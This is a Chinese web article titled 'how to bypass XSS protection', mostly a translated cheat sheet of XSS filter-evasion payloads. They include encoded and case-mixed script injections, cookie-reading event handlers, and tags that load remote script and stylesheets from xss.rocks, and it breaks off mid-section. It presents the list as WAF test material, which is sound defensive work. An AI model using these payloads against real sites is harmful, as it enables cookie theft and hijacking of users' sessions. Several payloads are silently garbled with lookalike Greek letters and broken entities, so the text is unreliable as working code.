溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何繞過(guò)XSS的防護(hù)

發(fā)布時(shí)間:2021-12-23 09:15:18 來(lái)源:億速云 閱讀:126 作者:柒染 欄目:網(wǎng)絡(luò)管理

今天就跟大家聊聊有關(guān)如何繞過(guò)XSS的防護(hù),可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

下面列出了一系列XSS攻擊,可用于繞過(guò)某些XSS防御filter。針對(duì)輸入進(jìn)行過(guò)濾是不完全是XSS的防御方法,可以使用這些payload來(lái)測(cè)試網(wǎng)站在防護(hù)XSS攻擊方面的能力,希望你的WAF產(chǎn)品能攔截下面所有的payload。

正文

XSS攻擊原理:

攻擊者向有XSS漏洞的網(wǎng)站中置入精心構(gòu)造惡意的HTML代碼,當(dāng)用戶瀏覽該網(wǎng)站時(shí),這段HTML代碼會(huì)自動(dòng)執(zhí)行,從而達(dá)到攻擊的目的。

XSS攻擊可以分成兩種類型:一種是非持久型XSS攻擊 一種是持久型XSS攻擊。

反射型:請(qǐng)求地址上加入惡心的HTML代碼。

如何繞過(guò)XSS的防護(hù)

dom型:api向網(wǎng)站注入一些惡意的HTML代碼

如何繞過(guò)XSS的防護(hù)

持久性:攻擊者把惡意代碼提交到后臺(tái)數(shù)據(jù)庫(kù)中,當(dāng)用戶下次打開(kāi)的時(shí)候就會(huì)從后臺(tái)接收這些惡意的代碼。

如何繞過(guò)XSS的防護(hù)

防范:

    前端通過(guò)轉(zhuǎn)義來(lái)進(jìn)行防范和過(guò)濾

    后端主要是通過(guò)WAF正則+OWASP規(guī)則+XSS語(yǔ)義分析+機(jī)器學(xué)習(xí)payload特征進(jìn)行防衛(wèi)。

普通的XSS JavaScript注入:

很可能會(huì)被過(guò)濾,建議先嘗試一下(現(xiàn)代瀏覽器中都不需要引號(hào),因此此處將其省略)

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

XSS有效負(fù)載,該測(cè)試將在多個(gè)上下文中執(zhí)行,包括html,腳本字符串,js和url:

javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>

使用JavaScript指令的IMG SRC XSS,注: IE7.0在圖像上下文中不支持JavaScript指令,但在其他上下文中支持JavaScript指令:

<IMG SRC="javascript:alert('XSS');">

沒(méi)有引號(hào)也沒(méi)分號(hào)情況:

<IMG SRC=javascript:alert('XSS')>

大小寫(xiě)混淆的 XSS攻擊payload:

<IMG SRC=JaVaScRiPt:alert('XSS')>

HTML實(shí)體,必須使用分號(hào):

<IMG SRC=javascript:alert(&ampquot;XSS&ampquot;)>

同時(shí)使用雙引號(hào)和單引號(hào),則可以使用重音符來(lái)封裝JavaScript字符串,因?yàn)樵S多跨站點(diǎn)腳本過(guò)濾器都不知道重音符:

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形的a標(biāo)簽,跳過(guò)HREF屬性:

<a οnmοuseοver="alert(document.cookie)">xxs link</a>

Chrome瀏覽器喜歡為替換丟失的引號(hào),Chrome會(huì)將其放在正確的位置,并在URL或腳本上修復(fù)丟失的引號(hào)。

<a οnmοuseοver=alert(document.cookie)>xxs link</a>

格式錯(cuò)誤的IMG標(biāo)簽,封裝在引號(hào)中的IMG標(biāo)簽內(nèi)創(chuàng)建我們的XSS矢量,為了糾正草率的編碼。這將使正確解析HTML標(biāo)記變得更加困難:

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode源字符碼,不允許任何類型的引號(hào),可以在JavaScript中eval()a fromCharCode來(lái)創(chuàng)建所需的XSS向量:

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

默認(rèn)SRC標(biāo)記可獲取過(guò)去檢查SRC域名的filter,這將繞過(guò)大多數(shù)SRC域過(guò)濾器。在事件方法中插入javascript還將適用于任何使用Form,Iframe,Input,Embed等元素的HTML標(biāo)記類型注入。這還將允許您將標(biāo)記類型的任何相關(guān)事件替換為onblur,onclick從而為您提供大量的這里列出的許多注射的變化:

<IMG SRC=# οnmοuseοver="alert('xxs')">

保留默認(rèn)的SRC標(biāo)簽為空:

<IMG SRC= οnmοuseοver="alert('xxs')">

Default SRC tag by leaving it out entirely,完全忽略src:

<IMG οnmοuseοver="alert('xxs')">

錯(cuò)誤提示 onerror alert:

<IMG SRC=/ οnerrοr="alert(String.fromCharCode(88,83,83))"></img>

IMG onerror and javascript alert 編碼:

<img src=x οnerrοr="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

Decimal HTML character references,十進(jìn)制字符引用,在<IMG標(biāo)記內(nèi)使用javascript:指令的所有XSS示例都無(wú)法在Gecko渲染引擎模式下的Firefox或Netscape 8.1+中運(yùn)行):

<IMG SRC=&amp#106;&amp#97;&amp#118;&amp#97;&amp#115;&amp#99;&amp#114;&amp#105;&amp#112;&amp#116;&amp#58;&amp#97;&amp#108;&amp#101;&amp#114;&amp#116;&amp#40;&amp#39;&amp#88;&amp#83;&amp#83;&amp#39;&amp#41;>

十進(jìn)制html字符引用,without trailing semicolons,同上+沒(méi)有尾隨分號(hào),這在嘗試查找“&#XX;”的XSS中通常很有效,因?yàn)榇蠖鄶?shù)人都不了解填充-總共最多7個(gè)數(shù)字字符。這對(duì)于使用$ tmp_string =?s /.*\&#(\ d +);。* / $ 1 /;等字符串進(jìn)行解碼的人也很有用。這錯(cuò)誤地假設(shè)需要使用分號(hào)來(lái)終止html編碼的字符串:

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

十六進(jìn)制html字符引用,without trailing semicolons,不帶尾部分號(hào):

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

嵌入標(biāo)簽,用于破壞跨站點(diǎn)腳本攻擊:

<IMG SRC="jav ascript:alert('XSS');">

嵌入編碼標(biāo)簽,用于分解XSS:

<IMG SRC="jav&amp#x09;ascript:alert('XSS');">

嵌入換行分解XSS:

<IMG SRC="jav&amp#x0A;ascript:alert('XSS');">

Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details

嵌入carriage返回分解 XSS:

\x0D是十六進(jìn)制,也就是13所對(duì)就在的ASCII碼字符,也就是回車符

<IMG SRC="jav&amp#x0D;ascript:alert('XSS');">

null分解js指令,但是空字符%00更有用,它幫助我繞過(guò)了某些現(xiàn)實(shí)世界的過(guò)濾器:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

XSS圖像中JavaScript之前的空格和元字符:

錯(cuò)誤地假設(shè)引號(hào)和“javascript:”關(guān)鍵字之間不能有空格,則這非常有用。實(shí)際情況是,您可以使用小數(shù)點(diǎn)后1-32之間的任何字符

<IMG SRC=" &amp#14; javascript:alert('XSS');">

非字母非數(shù)字XSS:

Firefox HTML解析器假設(shè)非alpha非數(shù)字在HTML關(guān)鍵字后無(wú)效,認(rèn)為它是HTML標(biāo)記后的空白或無(wú)效標(biāo)記。

一些XSS過(guò)濾器假定它們要查找的標(biāo)記被空白分隔開(kāi)。例如“<SCRIPT\s”!=“<SCRIPT/XSS\s”。

<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

Gecko呈現(xiàn)引擎允許在事件處理程序和等號(hào)之間使用除字母、數(shù)字或封裝字符(如引號(hào)、尖括號(hào)等)以外的任何字符,從而更容易繞過(guò)跨站點(diǎn)腳本塊。

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

多余的開(kāi)放括號(hào):

某些檢測(cè)引擎使用成對(duì)的開(kāi)閉尖括號(hào),然后對(duì)標(biāo)簽進(jìn)行比較,

雙斜線注釋了結(jié)束的無(wú)關(guān)括號(hào),以抑制JavaScript錯(cuò)誤。

<<SCRIPT>alert("XSS");//<</SCRIPT>

沒(méi)有結(jié)束腳本tag:

在Firefox和Netscape 8.1的Gecko渲染引擎模式下,您實(shí)際上不需要這個(gè)跨站點(diǎn)腳本向量的“></SCRIPT>”部分。

Firefox assumes it's safe to close the HTML tag and add closing tags for you。

<SCRIPT SRC=http://xss.rocks/xss.js?< B >

js tag中的協(xié)議解析:

如果在末尾添加</SCRIPT>標(biāo)記,Opera中工作,Netscape在IE呈現(xiàn)模式下工作,,

<SCRIPT SRC=//xss.rocks/.j>

半開(kāi)HTML/JavaScript xss:

與Firefox不同,IE渲染引擎不向頁(yè)面添加額外數(shù)據(jù),但它允許在圖像中使用javascript:指令。

它不需要閉合尖括號(hào),假設(shè)下面有任何HTML標(biāo)記,您將在其中注入此跨站點(diǎn)腳本向量。即使沒(méi)有關(guān)閉“>”標(biāo)簽,下面的標(biāo)簽也會(huì)關(guān)閉它。

<IMG SRC="javascript:alert('XSS')"

Double open angle brackets雙開(kāi)角括號(hào):

在矢末尾使用開(kāi)放尖括號(hào)。

如果沒(méi)有它,F(xiàn)irefox將工作,但Netscape不會(huì)。

<iframe src=http://xss.rocks/scriptlet.html <

轉(zhuǎn)義JavaScript轉(zhuǎn)義:

在JavaScript中輸出一些用戶信息,如:<SCRIPT>var a=“$ENV{QUERY_STRING}”;</SCRIPT>

將自己的JavaScript注入其中,但是服務(wù)器端應(yīng)用程序會(huì)轉(zhuǎn)義某些引號(hào),您可以通過(guò)轉(zhuǎn)義它們的轉(zhuǎn)義字符來(lái)繞過(guò)這些引號(hào)。

當(dāng)它被注入時(shí),它將讀取<SCRIPT>var a=“\\”;alert('XSS');//“;</SCRIPT>,最后將取消對(duì)雙引號(hào)的轉(zhuǎn)義,并導(dǎo)致跨站點(diǎn)腳本向量觸發(fā)。

\";alert('XSS');//

如果對(duì)嵌入的數(shù)據(jù)應(yīng)用了正確的JSON或Javascript轉(zhuǎn)義,而不是HTML編碼,則完成腳本塊并啟動(dòng)。

</script><script>alert('XSS');</script>

結(jié)束標(biāo)簽tag:

關(guān)閉<TITLE>標(biāo)記的簡(jiǎn)單XSS向量,可以封裝惡意跨站點(diǎn)腳本攻擊。

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

INPUT image:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

BODY image:

<BODY BACKGROUND="javascript:alert('XSS')">

IMG Dynsrc:

<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc:

<IMG LOWSRC="javascript:alert('XSS')">

List-style-image:

處理為項(xiàng)目符號(hào)列表嵌入圖像的相當(dāng)深?yuàn)W的問(wèn)題,這只適用于IE呈現(xiàn)引擎。不是一個(gè)特別有用的跨站點(diǎn)腳本。

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

VBscript in an image:

<IMG SRC='vbscript:msgbox("XSS")'>

Livescript(僅限舊版本的Netscape):

<IMG SRC="livescript:[code]">

SVG對(duì)象標(biāo)記:

<svg/οnlοad=alert('XSS')>

SVG object tag:

<svg/οnlοad=alert('XSS')>

ECMAScript 6:

Set.constructor`alert\x28document.domain\x29```

BODY tag:

不需要使用“javascript:”或“<SCRIPT…”的任何變體來(lái)完成XSS攻擊,

可以在等號(hào)前加一個(gè)空格(“οnlοad=”!=“οnlοad=”)。

<BODY ONLOAD=alert('XSS')>

事件句柄:

FSCommand() (攻擊者可以在嵌入式Flash對(duì)象中執(zhí)行此操作)

onAbort() (當(dāng)用戶中止加載圖像時(shí))

onActivate() (當(dāng)對(duì)象設(shè)置為活動(dòng)元素時(shí))

onAfterPrint() (在用戶打印或預(yù)覽打印作業(yè)后激活)

onAfterUpdate() (更新源對(duì)象中的數(shù)據(jù)后在數(shù)據(jù)對(duì)象上激活)

onBeforeActivate() (在對(duì)象設(shè)置為活動(dòng)元素之前激發(fā))

onBeforeCopy() (攻擊者在將選定內(nèi)容復(fù)制到剪貼板之前執(zhí)行攻擊字符串-攻擊者可以使用execCommand(“Copy”)函數(shù)執(zhí)行此操作)

onBeforeCut() (攻擊者在剪切選定內(nèi)容之前執(zhí)行攻擊字符串)

onBeforeDeactivate() (從當(dāng)前對(duì)象更改activeElement后立即激發(fā))

onBeforeEditFocus() (在可編輯元素中包含的對(duì)象進(jìn)入U(xiǎn)I激活狀態(tài)之前,或在選中可編輯容器對(duì)象時(shí)激發(fā))

onBeforePaste() (需要誘使用戶粘貼或使用execCommand(“粘貼”)函數(shù)強(qiáng)制用戶粘貼)

onBeforePrint() (需要誘使用戶進(jìn)行打印,否則攻擊者可以使用print()或execCommand(“print”)函數(shù)).

onBeforeUnload() (需要誘使用戶關(guān)閉瀏覽器-攻擊者無(wú)法卸載windows,除非它是從父級(jí)派生的)

onBeforeUpdate() (在更新源對(duì)象中的數(shù)據(jù)之前在數(shù)據(jù)對(duì)象上激活)

onBegin() (onbegin事件在元素的時(shí)間線開(kāi)始時(shí)立即激發(fā))

onBlur() (如果加載了另一個(gè)彈出窗口and window looses focus)

onBounce() (當(dāng)選取框?qū)ο蟮腷ehavior屬性設(shè)置為“alternate”并且選取框的內(nèi)容到達(dá)窗口的一側(cè)時(shí)激發(fā))

onCellChange() (當(dāng)數(shù)據(jù)提供程序中的數(shù)據(jù)更改時(shí)觸發(fā))

onChange() (“選擇”、“文本”或“文本區(qū)域”字段失去focus,其值已被修改)

onClick() (有人點(diǎn)擊表單)

onContextMenu() (用戶需要鼠標(biāo)右擊攻擊區(qū)域)

onControlSelect() (當(dāng)用戶要對(duì)對(duì)象進(jìn)行控件選擇時(shí)觸發(fā))

onCopy() (用戶需要復(fù)制某些內(nèi)容,或者可以使用execCommand(“copy”)命令利用它)

onCut() (用戶需要復(fù)制某些內(nèi)容,或者可以使用execCommand(“Cut”)命令利用它)

onDataAvailable() (用戶需要更改元素中的數(shù)據(jù),否則攻擊者可以執(zhí)行相同的功能)

onDataSetChanged() (當(dāng)數(shù)據(jù)源對(duì)象公開(kāi)的數(shù)據(jù)集更改時(shí)觸發(fā))

onDataSetComplete() (觸發(fā)以指示數(shù)據(jù)源對(duì)象中的所有數(shù)據(jù)都可用)

onDblClick() (用戶雙擊表單元素或鏈接)

onDeactivate() (當(dāng)activeElement從當(dāng)前對(duì)象更改為父文檔中的另一個(gè)對(duì)象時(shí)激發(fā))

onDrag() (要求用戶拖動(dòng)對(duì)象)

onDragEnd() (要求用戶拖動(dòng)對(duì)象)

onDragLeave() (要求用戶將對(duì)象拖離有效位置)

onDragEnter() (要求用戶將對(duì)象拖到有效位置)

onDragOver() (要求用戶將對(duì)象拖到有效位置)

onDragDrop() (用戶將對(duì)象(如文件)放到瀏覽器窗口中)

onDragStart() (在用戶啟動(dòng)拖動(dòng)操作時(shí)發(fā)生)

onDrop() (用戶將對(duì)象(如文件)放到瀏覽器窗口中)

onEnd() (當(dāng)時(shí)間線結(jié)束時(shí),onEnd事件將觸發(fā))

onError() (加載文檔或圖像會(huì)導(dǎo)致錯(cuò)誤)

onErrorUpdate() (當(dāng)更新數(shù)據(jù)源對(duì)象中的關(guān)聯(lián)數(shù)據(jù)時(shí)出錯(cuò)時(shí),對(duì)數(shù)據(jù)綁定對(duì)象觸發(fā))

onFilterChange() (在視覺(jué)篩選器完成狀態(tài)更改時(shí)觸發(fā))

onFinish() (當(dāng)選取框完成循環(huán)時(shí),攻擊者可以創(chuàng)建攻擊)

onFocus() (當(dāng)窗口獲得焦點(diǎn)時(shí),攻擊者執(zhí)行攻擊字符串)

onFocusIn() (當(dāng)窗口獲得焦點(diǎn)時(shí),攻擊者執(zhí)行攻擊字符串)

onFocusOut() (當(dāng)窗口失去焦點(diǎn)時(shí),攻擊者執(zhí)行攻擊字符串)

onHashChange() (當(dāng)文檔當(dāng)前地址的片段標(biāo)識(shí)符部分更改時(shí)觸發(fā))

onHelp() (當(dāng)用戶在窗口處于焦點(diǎn)時(shí)點(diǎn)擊F1時(shí),攻擊者執(zhí)行攻擊字符串)

onInput() (元素的文本內(nèi)容通過(guò)用戶界面更改)

onKeyDown() (用戶按下鍵觸發(fā))

onKeyPress() (用戶按下或按住鍵)

onKeyUp() (用戶松開(kāi)按鍵)

onLayoutComplete() (用戶必須打印或打印預(yù)覽)

onLoad() (攻擊者在窗口加載后執(zhí)行攻擊字符串)

onLoseCapture() (可被releaseCapture()方法利用)

onMediaComplete() (當(dāng)使用流媒體文件時(shí),此事件可能在文件開(kāi)始播放之前觸發(fā))

onMediaError() (用戶在瀏覽器中打開(kāi)包含媒體文件的頁(yè)面,當(dāng)出現(xiàn)問(wèn)題時(shí)觸發(fā)事件)

onMessage() (當(dāng)文檔收到消息時(shí)觸發(fā))

onMouseDown() (攻擊者需要讓用戶單擊圖像)

onMouseEnter() (光標(biāo)在對(duì)象或區(qū)域上移動(dòng))

onMouseLeave() (攻擊者需要讓用戶將鼠標(biāo)移到圖像或表上,然后再次關(guān)閉)

onMouseMove() (攻擊者需要讓用戶將鼠標(biāo)移到圖像或表上)

onMouseOut() (攻擊者需要讓用戶將鼠標(biāo)移到圖像或表上,然后再次關(guān)閉)

onMouseOver() (光標(biāo)在對(duì)象或區(qū)域上移動(dòng))

onMouseUp() (攻擊者需要讓用戶單擊圖像)

onMouseWheel() (攻擊者需要讓用戶使用鼠標(biāo)滾輪)

onMove() (用戶或攻擊者會(huì)移動(dòng)頁(yè)面)

onMoveEnd() (用戶或攻擊者會(huì)移動(dòng)頁(yè)面)

onMoveStart() (用戶或攻擊者會(huì)移動(dòng)頁(yè)面)

onOffline() (如果瀏覽器在聯(lián)機(jī)模式下工作并且開(kāi)始脫機(jī)工作,則發(fā)生)

onOnline() (如果瀏覽器在脫機(jī)模式下工作并且開(kāi)始聯(lián)機(jī)工作,則發(fā)生)

onOutOfSync() (中斷元素播放時(shí)間線定義的媒體的能力)

onPaste() (用戶需要粘貼或攻擊者可以使用execCommand(“粘貼”)函數(shù))

onPause() (當(dāng)時(shí)間線暫停時(shí),onpause事件將對(duì)每個(gè)活動(dòng)的元素(包括body元素)觸發(fā))

onPopState() (當(dāng)用戶導(dǎo)航會(huì)話歷史記錄時(shí)激發(fā))

onProgress() (攻擊者會(huì)將此用作正在加載的flash電影)

onPropertyChange() (用戶或攻擊者需要更改元素屬性)

onReadyStateChange() (用戶或攻擊者需要更改元素屬性)

onRedo() (用戶在撤消事務(wù)歷史記錄中前進(jìn))

onRepeat() (事件在時(shí)間線的每次重復(fù)中觸發(fā)一次,第一個(gè)完整周期除外)

onReset() (用戶或攻擊者重置窗體)

onResize() (用戶將調(diào)整窗口大??;攻擊者可以使用以下命令自動(dòng)初始化:<SCRIPT>self.resizeTo(500400);</SCRIPT>)

onResizeEnd() (用戶將調(diào)整窗口大??;攻擊者可以使用以下內(nèi)容自動(dòng)初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResizeStart() (用戶將調(diào)整窗口大??;攻擊者可以使用以下命令自動(dòng)初始化: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)

onResume() (onresume事件對(duì)時(shí)間線恢復(fù)時(shí)變?yōu)榛顒?dòng)的每個(gè)元素(包括body元素)觸發(fā))

onReverse() (如果元素的repeatCount大于1,則每次時(shí)間線開(kāi)始向后播放時(shí)都會(huì)觸發(fā)此事件)

onRowsEnter() (用戶或攻擊者需要更改數(shù)據(jù)源中的行)

onRowExit() (用戶或攻擊者需要更改數(shù)據(jù)源中的行)

onRowDelete() (用戶或攻擊者需要?jiǎng)h除數(shù)據(jù)源中的行)

onRowInserted() (用戶或攻擊者需要在數(shù)據(jù)源中插入一行)

onScroll() (用戶需要滾動(dòng),否則攻擊者可以使用scrollBy()函數(shù))

onSeek() (onreverse事件在時(shí)間線設(shè)置為沿除forward以外的任何方向播放時(shí)觸發(fā))

onSelect() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)

onSelectionChange() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)

onSelectStart() (用戶需要選擇一些文本-攻擊者可以使用以下命令自動(dòng)初始化: window.document.execCommand("SelectAll");)

onStart() (在每個(gè)選框循環(huán)的開(kāi)始處激發(fā))

onStop() (用戶需要按下停止按鈕或離開(kāi)網(wǎng)頁(yè))

onStorage() (存儲(chǔ)區(qū)域已更改)

onSyncRestored() (用戶中斷元素的播放時(shí)間線定義的媒體的能力)

onSubmit() (需要攻擊者或用戶提交表單)

onTimeError() (用戶或攻擊者將時(shí)間屬性(如dur)設(shè)置為無(wú)效值)

onTrackChange() (用戶或攻擊者更改播放列表中的playlist)

onUndo() (用戶在撤消事務(wù)歷史記錄中返回)

onUnload() (當(dāng)用戶單擊任何鏈接或按下后退按鈕時(shí),攻擊者會(huì)強(qiáng)制單擊)

onURLFlip() (當(dāng)由HTML+TIME(定時(shí)交互式多媒體擴(kuò)展)媒體標(biāo)記播放的高級(jí)流式格式(ASF)文件處理嵌入在ASF文件中的腳本命令時(shí),會(huì)觸發(fā)此事件)

seekSegmentTime() (這是一個(gè)在元素的段時(shí)間線上定位指定點(diǎn)并從該點(diǎn)開(kāi)始播放的方法。該段由一個(gè)重復(fù)的時(shí)間線組成,包括使用AUTOREVERSE屬性的反向播放。)

BGSOUND:

<BGSOUND SRC="javascript:alert('XSS');">

& JavaScript includes:

<BR SIZE="&{alert('XSS')}">

STYLE sheet:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

遠(yuǎn)程樣式表Remote style sheet:

使用像遠(yuǎn)程樣式表這樣簡(jiǎn)單的東西,您可以包括XSS,因?yàn)榭梢允褂们度胧奖磉_(dá)式重新定義樣式參數(shù)。)

這僅在IE和Netscape 8.1+的IE渲染引擎模式下有效。

注意:對(duì)于所有這些遠(yuǎn)程樣式表示例,它們都使用body標(biāo)記,因此除非頁(yè)面上有向量本身以外的其他內(nèi)容,否則無(wú)法工作。

因此,如果頁(yè)面是空白頁(yè)面,則需要向該頁(yè)面添加一個(gè)字母使其工作

<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

遠(yuǎn)程樣式表Remote style sheet2:

工作原理與上述相同,但使用<STYLE>標(biāo)記而不是<LINK>標(biāo)記)。

這個(gè)向量的一個(gè)微小變化被用來(lái)攻擊谷歌桌面。另外,如果在向量之后立即有HTML來(lái)關(guān)閉end</STYLE>標(biāo)記,則可以將其刪除。

如果在跨站點(diǎn)腳本攻擊中不能有等號(hào)或斜線(在現(xiàn)實(shí)世界中至少出現(xiàn)過(guò)一次),則這非常有用.

<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

遠(yuǎn)程樣式表Remote style sheet3:

這只適用于Opera8.0(不再適用于9.x),但相當(dāng)棘手。根據(jù)RFC2616設(shè)置,鏈接頭不是HTTP1.1規(guī)范的一部分,但是一些瀏覽器仍然允許它(比如Firefox和Opera)。

這里的訣竅是,我設(shè)置了一個(gè)頭(基本上與HTTP頭中的Link:<HTTP://xss.rocks/xss.css>;REL=style sheet沒(méi)什么不同),

而帶有跨站點(diǎn)腳本向量的遠(yuǎn)程樣式表正在運(yùn)行JavaScript,這在FireFox中是不受支持的。

<META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet">

遠(yuǎn)程樣式表Remote style sheet4:

這只適用于Gecko渲染引擎,并通過(guò)將XUL文件綁定到父頁(yè)面來(lái)工作。我認(rèn)為諷刺的是,Netscape認(rèn)為Gecko更安全,因此對(duì)絕大多數(shù)網(wǎng)站來(lái)說(shuō)都很脆弱。

<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>

帶有用于XSS的分解JavaScript的STYLE標(biāo)記STYLE tags with broken up JavaScript for XSS:

此XSS有時(shí)會(huì)將IE發(fā)送到無(wú)限循環(huán)的警報(bào)中。

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

STYLE attribute using a comment to break up expression使用注釋拆分表達(dá)式的STYLE屬性:

<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

帶表達(dá)式的IMG樣式:

這實(shí)際上是上述XSS向量的混合,但它確實(shí)顯示了分離樣式標(biāo)記的難度,就像上面所說(shuō)的,這可以將IE發(fā)送到循環(huán)中。

exp/*<A STYLE='no\xss:noxss("*//*");

xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

STYLE tag (Older versions of Netscape only):

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

STYLE tag using background-image:

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

STYLE tag using background:

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

具有STYLE屬性的匿名HTMLAnonymous HTML with STYLE attribute:

IE6和Netscape 8.1 +在IE渲染引擎模式中并不真正關(guān)心你構(gòu)建的HTML標(biāo)簽是否存在,只要它從一個(gè)打開(kāi)的角度括號(hào)和一個(gè)字母開(kāi)始.

<XSS STYLE="xss:expression(alert('XSS'))">

Local htc file本地htc文件:

這與上面兩個(gè)跨站點(diǎn)腳本向量略有不同,因?yàn)樗褂玫?htc文件必須與XSS向量位于同一服務(wù)器上。

示例文件的工作方式是:拉入JavaScript并將其作為style屬性的一部分運(yùn)行.

<XSS STYLE="behavior: url(xss.htc);">

US-ASCII encoding:

它使用格式錯(cuò)誤的ASCII編碼,使用7位而不是8位。此XSS可以繞過(guò)許多內(nèi)容過(guò)濾器,

但僅在主機(jī)使用US-ASCII編碼傳輸或您自己設(shè)置編碼時(shí)才起作用。

這對(duì)于web應(yīng)用程序防火墻跨站點(diǎn)腳本規(guī)避比服務(wù)器端篩選器規(guī)避更有用。

Apache Tomcat是唯一已知的以US-ASCII編碼傳輸?shù)姆?wù)器。

?script?alert(¢XSS¢)?/script?

META:

meta-refresh的奇怪之處在于它沒(méi)有在頭中發(fā)送referer,因此它可以用于某些類型的攻擊,在這些攻擊中,您需要?jiǎng)h除引用的url。

<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

META using data:

指令URL方案。這很好,因?yàn)樗矝](méi)有任何明顯包含腳本或JavaScript指令的東西,因?yàn)樗褂胋ase64編碼。

請(qǐng)參閱RFC2397了解更多詳細(xì)信息,或在這里或這里編碼您自己的。如果您只想對(duì)原始HTML或JavaScript進(jìn)行編碼,

也可以使用下面的XSS計(jì)算器,因?yàn)樗哂蠦ase64編碼方法。

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

META with additional URL parameter:

如果目標(biāo)網(wǎng)站試圖查看URL開(kāi)頭是否包含“http://”。

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">

IFRAME:

If iframes are allowed there are a lot of other XSS problems as well。

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

IFRAME Event based:

IFrames和大多數(shù)其他元素可以使用基于事件的mayhem,如下所示。。。

<IFRAME SRC=# οnmοuseοver="alert(document.cookie)"></IFRAME>

FRAME:

Frames have the same sorts of XSS problems as iframes

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>

TABLE:

<TABLE BACKGROUND="javascript:alert('XSS')">

TD:

正如上面所述,TD很容易受到包含JavaScript XSS向量的背景的攻擊。

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

DIV:

DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

DIV background-image with unicoded XSS exploit:

這已經(jīng)被稍微修改,以混淆url參數(shù)。

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

DIV background-image plus extra characters額外字符:

在IE和Netscape 8.1中的安全站點(diǎn)模式下,在開(kāi)括號(hào)之后、JavaScript指令之前允許的任何錯(cuò)誤字符。這些是十進(jìn)制的,但是當(dāng)然可以包括十六進(jìn)制和添加填充。

可以使用以下任何字符:1-32、34、39、160、8192-8.13、12288、65279。

<DIV STYLE="background-image: url(&amp#1;javascript:alert('XSS'))">

DIV expression:

這種方法的一個(gè)變體對(duì)現(xiàn)實(shí)世界中使用冒號(hào)和“表達(dá)式”之間的換行符的跨站點(diǎn)腳本過(guò)濾器是有效的.

<DIV STYLE="width: expression(alert('XSS'));">

Downlevel-Hidden block:

僅適用于IE5.0及更高版本,Netscape 8.1適用于IE渲染引擎模式)。有些網(wǎng)站認(rèn)為評(píng)論塊中的任何內(nèi)容都是安全的,因此不需要?jiǎng)h除,這就允許我們使用跨站點(diǎn)腳本。

或者系統(tǒng)可以在某些東西周圍添加注釋標(biāo)記,試圖使其無(wú)害化。如我們所見(jiàn),這可能不起作用.

<!--[if gte IE 4]>

<SCRIPT>alert('XSS');</SCRIPT>

<![endif]-->

BASE tag:

在IE和Netscape 8.1中以安全模式工作。您需要//來(lái)注釋掉下一個(gè)字符,這樣就不會(huì)出現(xiàn)JavaScript錯(cuò)誤,XSS標(biāo)記將呈現(xiàn)。

此外,這依賴于網(wǎng)站使用動(dòng)態(tài)放置的圖像,如“images/image.jpg”,而不是完整路徑。

